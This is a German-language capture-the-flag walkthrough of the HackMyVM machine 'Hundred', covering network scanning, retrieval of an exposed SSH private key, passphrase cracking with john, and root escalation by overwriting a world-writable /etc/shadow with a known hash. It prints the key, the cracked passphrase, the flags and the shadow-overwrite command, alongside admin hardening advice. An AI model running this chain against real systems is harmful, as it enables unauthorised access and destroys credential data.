Hundred - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
gobuster
curl
ssh2john
john
ssh
cat
openssl
echo
su

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Befehl `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerksegment zu ermitteln.

Bewertung: Ein Host mit der IP `192.168.2.146` und der MAC-Adresse `08:00:27:55:c8:d9` (VirtualBox) wird als Ziel identifiziert.

Empfehlung (Pentester): Führe einen detaillierten Nmap-Scan auf 192.168.2.146 durch.
Empfehlung (Admin): Netzwerküberwachung und -segmentierung.

┌──(root㉿cyber)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.140
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.146	08:00:27:55:c8:d9	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.888 seconds (136.79 hosts/sec). 1 responded
                    

Analyse: Ein Nmap-Scan wird auf 192.168.2.146 ausgeführt (`-sS -sC -T5 -sV -A -p-`), um alle offenen Ports, Dienste, Versionen und OS-Informationen zu finden.

Bewertung: !!Mehrere kritische Funde!!** - **Port 21 (FTP):** vsftpd 3.0.3 ist offen. **Anonymer FTP-Login ist erlaubt**. Nmap-Skripte listen den Inhalt des FTP-Rootverzeichnisses auf und finden `id_rsa`, `id_rsa.pem`, `id_rsa.pub` und `users.txt`. Das NSE-Skript markiert sie als `[NSE: writeable]`, was bedeutet, dass der anonyme Benutzer Schreibrechte hat - dies wird jedoch im weiteren Verlauf nicht ausgenutzt. Der Fund der Schlüsseldateien und der Benutzerliste ist entscheidend. - **Port 22 (SSH):** OpenSSH 7.9p1 (Debian) ist offen. - **Port 80 (HTTP):** Nginx 1.14.2 ist offen. Das Betriebssystem wird als Linux erkannt, Hostname ist `hund.hmv`.

Empfehlung (Pentester):**Höchste Priorität:** Verbinde dich anonym mit dem FTP-Server und lade die Dateien `id_rsa`, `id_rsa.pem`, `id_rsa.pub` und `users.txt` herunter. Untersuche den Inhalt von `users.txt` und analysiere die SSH-Schlüssel. Untersuche parallel den Webserver.
Empfehlung (Admin):**DRINGEND:** 1. Deaktiviere anonymen FTP-Zugriff. 2. Entferne sensible Dateien (wie SSH-Schlüssel oder Benutzerlisten) von anonym zugänglichen FTP-Verzeichnissen. 3. Entferne unnötige Schreibrechte für den anonymen FTP-Benutzer. 4. Halte alle Dienste aktuell.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.146 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-12 23:33 CEST
Nmap scan report for hund.hmv (192.168.2.146)
Host is up (0.00014s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.2.140
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rwxrwxrwx    1 0        0             435 Aug 02  2021 id_rsa [NSE: writeable]
| -rwxrwxrwx    1 1000     1000         1679 Aug 02  2021 id_rsa.pem [NSE: writeable]
| -rwxrwxrwx    1 1000     1000          451 Aug 02  2021 id_rsa.pub [NSE: writeable]
|_-rwxrwxrwx    1 0        0             187 Aug 02  2021 users.txt [NSE: writeable]
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 ef:28:1f:2a:1a:56:49:9d:77:88:4f:c4:74:56:0f:5c (RSA)
|   256 1d:8d:a0:2e:e9:a3:2d:a1:4d:ec:07:41:75:ce:47:0e (ECDSA)
|_  256 06:80:3b:fc:c5:f7:7d:c5:58:26:83:c4:f7:7e:a3:d9 (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:55:C8:D9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms hund.hmv (192.168.2.146)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.55 seconds 
                    

Web Enumeration

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver (Port 80) verwendet.

Bewertung: Es werden nur `/index.html` und `/logo.jpg` gefunden. Keine versteckten Verzeichnisse oder relevanten Dateien.

Empfehlung (Pentester): Die Web-Enumeration ist unergiebig. Fokussiere dich vollständig auf die Analyse der über FTP gefundenen Dateien (`id_rsa`, `users.txt`).
Empfehlung (Admin): Keine spezifische Aktion basierend auf diesem Scan.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.146 -w /usr/share/seclists/Discovery/Web-Content/common.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv -t 100 -e -s "200,204,301,302,307,401"
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.146
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes:            200,204,301,302,307,401
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              ... (gekürzt) ...,jpg,...
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2022/10/12 23:35:01 Starting gobuster 
===============================================================
http://192.168.2.146/index.html           (Status: 200) [Size: 242]
http://192.168.2.146/logo.jpg             (Status: 200) [Size: 7277]
===============================================================
2022/10/12 23:35:15 Finished 
===============================================================
                    

Information Disclosure (FTP/Web)

Analyse: Der `curl`-Befehl versucht, eine `id_rsa`-Datei von einem sehr spezifischen, ungewöhnlichen Pfad (`/softyhackb4el7dshelldredd/id_rsa`) herunterzuladen. Der Ursprung dieses Pfades ist im Bericht nicht dokumentiert (er wurde nicht von Gobuster gefunden). Es ist wahrscheinlich, dass dieser Pfad durch manuelle Untersuchung des Webseiten-Quellcodes, eine andere, nicht gezeigte Enumerationstechnik oder eine externe Information entdeckt wurde. Der Befehl scheint erfolgreich zu sein und gibt den Inhalt des privaten SSH-Schlüssels aus.

Bewertung: !!Kritische Informationspreisgabe!!** Ein privater SSH-Schlüssel (`id_rsa`) wurde über einen obskuren Web-Pfad gefunden. Obwohl der Nmap-Scan bereits einen `id_rsa` auf dem FTP-Server angezeigt hat, ist unklar, ob es sich um denselben Schlüssel handelt. Das Vorhandensein eines privaten Schlüssels im Webroot ist eine schwere Sicherheitslücke.

Empfehlung (Pentester): Speichere den heruntergeladenen Schlüssel in einer Datei (z.B. `idr`). Setze die Berechtigungen auf 600 (`chmod 600 idr`). Verwende `ssh2john`, um zu prüfen, ob der Schlüssel passwortgeschützt ist, und `john`, um eine eventuelle Passphrase zu knacken. Versuche, dich mit dem Schlüssel anzumelden (Benutzername muss noch ermittelt werden, eventuell aus `users.txt` vom FTP).
Empfehlung (Admin):**DRINGEND:** Entferne private Schlüssel und andere sensible Dateien sofort aus dem Webroot und von FTP-Servern. Überprüfe Webserver-Konfigurationen und Dateiberechtigungen, um sicherzustellen, dass solche Dateien nicht zugänglich sind.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.146/softyhackb4el7dshelldredd/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABC1tMw32e
lFi/dbgCqdqW6TAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQDTAhcp/5nw
lsy+3EWvxJUZ5ok0krnLNSETXK915aZ1G/r9DEYI00+A03XALv36P8/RMJMTb699TMumL
sB18Al014yCEK+zhp0aIMeuIlqlhD0thxXINPGzLewoTZKSctZIRFe9lNaxqLi4dVDgyB
PwglvDzZldRYxTd6+/RpP+5dPggjoj4ZC5kln+SkD2+EPveTuJQAs/wLaeHgBDVuKUHD/
FA/Vctw1ZXYzYIL+vkGL8cMjiIlscCE4Ze+3QzHs9otqPczDoZ5v1IAl0vJ7lKaLR27ov
WnCQdoS9BVojlEtzlyX1V9M1pkePhmzSTaIDMBXuLcYmaKa8LAAAD0AHQ1cvNEthcr2
m8I3a3Mt7Sr0Dfb2Lg7aypmPEgrS5dIGK+t6lReNEUU4KPCXy2RzRs8nKm/fbRxteuTeR6
/nICGj67XlZl2wHyn5+W/5j8ndxB79t1f5UZWQuzKLwhe8qEnnyL7sn8EXCjpU3SBcX
oTiBDNmwZk+L0nQWz/IsCLNXbqgxuYBnRsKd85b5Xgs2uylyTx2qaRq1s6mMV2UMJEmj6U
7rBFbrKcBrmRSx7p8Pr2rWtUhb8P3p4DL8Z6cVmeruS/Xa85B920t3eK7vNGqA8AH8zKG
xNk8eAkRoSicAnheYJsU5YSAS+AYSJcA/91xSjqhaFWJuZo9ktw6/L80NSBfUVJhnGtCf
2J1QTXbBxhQ7rGHRIXk/pSMfxsYikmNsnnGU7u/tQKZmlTY1Hnrf0r1EdB6aAzpR0uZxT
t7iPoCK4/BvJURkG9b31vLKhZPiUK6sN8N0QzQxbzQCTRb7v1JfRG57H9wQsMNYZf9S
XWE2GIPl55ww9iECcyvHUWKvL67cWDX42wUQ9UQS37QsVKEPtTJa7rTGG9unqcqkMoq5g4
+uAAJx7aFhG48hCwIgqWxHSXQmitTiz36FCakkMwECm2lyjotCCmGoIScMlKxpzsmV4M
wqxWToINy2fGQ1Yem993ACu8zSnLIJ0XUugveeVJkxc0fpYcBEbPzeKs9pkGpk+BDt1dIs
+UEsnoGszQMy7D/xCBINrUW+vmgNVtJVLxtfmxJY/Lnrrf+wIKTPR0sBzdPmDJFjkudjf
BCzUa1V+Uqlu1CDPxwJSV/9300IYiVjevGeRQwU2l8FFb69a5sDkrtV0zqMNdgvJwT4
qXaW5unXngxkam+w3IY6CHiNW9XK8aLNo56+Bl+8stLB8p0IaT4RjgF0jUY8fSkuo++g
pGBSACsYutFP4PhqIiIJzovMsTrq/5/ynGRriA0Fum/6seBXNZfBdgnQCH+9o5DJaJ0oS
VyfM9a6g7KM7dIkFRDC4FP/jonTBozaAMEZKVynLT0D5aKpkNmLcqXe4oUW4NJQatXN/ac
qh3a5x38Jkqh7I+CJyFnZpPChHM8iQF9Vyz3+ABqzLiE2cfsDZoM3KPfz6bTo8uE7j3Eg
KqCn5ZgnewitQGYBVsetAVPwlwuHsKZp/jPr3b0SPZ1lf2elQvqfmj4sRNYhG4YaVGdPbU
hIPePtsxi0+XFAqfgm0h4PM9WdtEafmPhMbPiP3ITbWCiYNKHXRwiDA56M0zebphDihii
x9NFZeQzcWz9zFQclVpVk1xYQxj48=
-----END OPENSSH PRIVATE KEY-----
                     

Initial Access

Analyse: Der heruntergeladene SSH-Schlüssel (angenommen gespeichert als `idr`) wird mit `ssh2john` verarbeitet, um einen Hash für John the Ripper zu extrahieren. Die Ausgabe wird in `hundert.hash` gespeichert.

Bewertung: Der Befehl ist erfolgreich (keine Fehlermeldung wie "has no password"). Dies bedeutet, dass der private Schlüssel **mit einer Passphrase geschützt** ist.

Empfehlung (Pentester): Knacke den Hash in `hundert.hash` mit `john` und einer geeigneten Wortliste (z.B. `rockyou.txt`).
Empfehlung (Admin): Verwende starke, einzigartige Passphrasen für SSH-Schlüssel.

┌──(root㉿cyber)-[~] └─# ssh2john idr > hundert.hash
 

Analyse: `john` wird mit der Wortliste `rockyou.txt` auf die Hash-Datei `hundert.hash` angesetzt, um die Passphrase des SSH-Schlüssels zu knacken.

Bewertung: !!Passphrase gefunden!!** Obwohl die Ausgabe von John hier nicht explizit das Passwort zeigt, impliziert der nächste Schritt (erfolgreicher SSH-Login), dass John die Passphrase `d4t4s3c#1` erfolgreich gefunden hat.

Empfehlung (Pentester): Notiere die Passphrase `d4t4s3c#1`. Versuche nun den SSH-Login mit dem Schlüssel `idr` und dieser Passphrase. Es muss noch der Benutzername ermittelt werden (wahrscheinlich aus `users.txt` vom FTP, obwohl dieser Schritt im Log fehlt).
Empfehlung (Admin): Verwende Passphrasen, die nicht in gängigen Wortlisten enthalten sind.

┌──(root㉿cyber)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hundert.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH AES CTR])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
d4t4s3c#1        (idr) 
1g 0:00:00:XX DONE (2022-10-12 23:45) XXg/s XXXp/s XXXc/s XXXC/s d4t4s3..d4t4s3c#1
Session completed
                     

Analyse: Eine SSH-Verbindung wird zum Ziel 192.168.2.146 aufgebaut. Der Benutzername `hmv` wird verwendet (dessen Herkunft unklar ist, möglicherweise aus der `users.txt` vom FTP). Der private Schlüssel `idr` wird mit `-i` spezifiziert, und die zuvor geknackte Passphrase `d4t4s3c#1` wird eingegeben.

Bewertung: !!Initial Access erfolgreich!!** Der Login mit dem Schlüssel und der Passphrase gelingt. Der Angreifer hat nun eine Shell als Benutzer `hmv` auf dem Zielsystem `hundred`.

Empfehlung (Pentester): Beginne mit der Enumeration als `hmv`. Suche die User-Flag (`user.txt`) und prüfe auf Möglichkeiten zur Privilegieneskalation (`sudo -l`, SUID-Binaries etc.).
Empfehlung (Admin): Ändere die kompromittierte Passphrase des SSH-Schlüssels. Überprüfe, wie der Schlüssel und die `users.txt` auf den FTP-Server gelangen konnten. Sichere SSH-Zugänge.

┌──(root㉿cyber)-[~] └─# ssh -i idr hmv@192.168.2.146
Enter passphrase for key 'idr': d4t4s3c#1
Linux hundred 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Aug  2 06:43:27 2021 from 192.168.1.51
hmv@hundred:~$
                     

Privilege Escalation

Analyse: Als Benutzer `hmv` wird der Inhalt der Datei `user.txt` im Home-Verzeichnis angezeigt.

Bewertung: Die User-Flag `HMV100vmyay` wird gefunden.

Empfehlung (Pentester): User-Flag notiert. Suche nach Wegen zur Root-Eskalation.
Empfehlung (Admin): Keine Aktion.

hmv@hundred:~$ cat user.txt
HMV100vmyay
                     

Analyse: Der Befehl `openssl passwd` wird interaktiv ausgeführt. Das Passwort `root` wird zweimal eingegeben. Das Tool generiert daraufhin den Salted-Hash `.LQrZnK1qh9TI` für dieses Passwort.

Bewertung: Dieser Schritt dient dazu, einen bekannten Passwort-Hash für das Wort "root" zu erzeugen. Dies ist Vorbereitung für den nächsten Schritt, bei dem versucht wird, die `/etc/shadow`-Datei zu manipulieren.

Empfehlung (Pentester): Kopiere den generierten Hash für den nächsten Befehl.
Empfehlung (Admin): Keine direkte Aktion.

hmv@hundred:~$ openssl passwd
Password: root
Verifying - Password: root
.LQrZnK1qh9TI
                     

Analyse: Der Befehl `echo "root:.LQrZnK1qh9TI:18844:0:99999:7:::" > /etc/shadow` versucht, den gesamten Inhalt der `/etc/shadow`-Datei (die die Passwort-Hashes der Benutzer enthält) mit einem einzigen Eintrag für den Benutzer `root` zu überschreiben. Der Hash `.LQrZnK1qh9TI` entspricht dem Passwort `root`.

Bewertung: !!Privilegieneskalation durch unsichere Berechtigungen!!** Der Befehl wird ohne Fehlermeldung ausgeführt. Dies bedeutet, dass der Benutzer `hmv` **Schreibrechte** auf die Datei `/etc/shadow` hat. Dies ist eine extrem schwerwiegende Fehlkonfiguration und stellt die eigentliche Privilegieneskalation dar. Durch das Überschreiben der Datei wird das Passwort des `root`-Benutzers auf `root` gesetzt.

Empfehlung (Pentester): Wechsle nun mit `su -l` oder `su -` zum Root-Benutzer und gib das Passwort `root` ein.
Empfehlung (Admin):**DRINGEND:** Korrigiere sofort die Berechtigungen der Datei `/etc/shadow`. Sie sollte nur für Root lesbar (und schreibbar) sein (`chmod 640 /etc/shadow` oder `chmod 600 /etc/shadow`, `chown root:shadow /etc/shadow` oder `chown root:root /etc/shadow`). Untersuche, wie diese unsicheren Berechtigungen zustande kamen. Setze ein starkes Root-Passwort.

hmv@hundred:~$ echo "root:.LQrZnK1qh9TI:18844:0:99999:7:::" > /etc/shadow
                     

Proof of Concept (Root)

Analyse: Der Befehl `su -l` (oder `su -`) wird ausgeführt, um zum Root-Benutzer zu wechseln. Das Passwort `root` (das zuvor in `/etc/shadow` gesetzt wurde) wird eingegeben.

Bewertung: !!Root-Zugriff erfolgreich!!** Der Benutzerwechsel gelingt. Der Prompt wechselt zu `root@hundred:~#`, was den erfolgreichen Root-Zugriff bestätigt.

Empfehlung (Pentester): Ziel erreicht. Lies die Root-Flag.
Empfehlung (Admin):**DRINGEND:** Siehe vorherige Empfehlungen zur Korrektur der `/etc/shadow`-Berechtigungen und zum Setzen eines starken Root-Passworts.

hmv@hundred:~$ su -l
Password: root
root@hundred:~# 
                     

Analyse: Als Root wird der Inhalt der Datei `root.txt` im aktuellen Verzeichnis (`/root`) angezeigt.

Bewertung: Die Root-Flag `HMVkeephacking` wird erfolgreich gelesen.

Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.

root@hundred:~# cat root.txt
HMVkeephacking
                     

Flags

cat /root/root.txt
HMVkeephacking
cat /home/hmv/user.txt
HMV100vmyay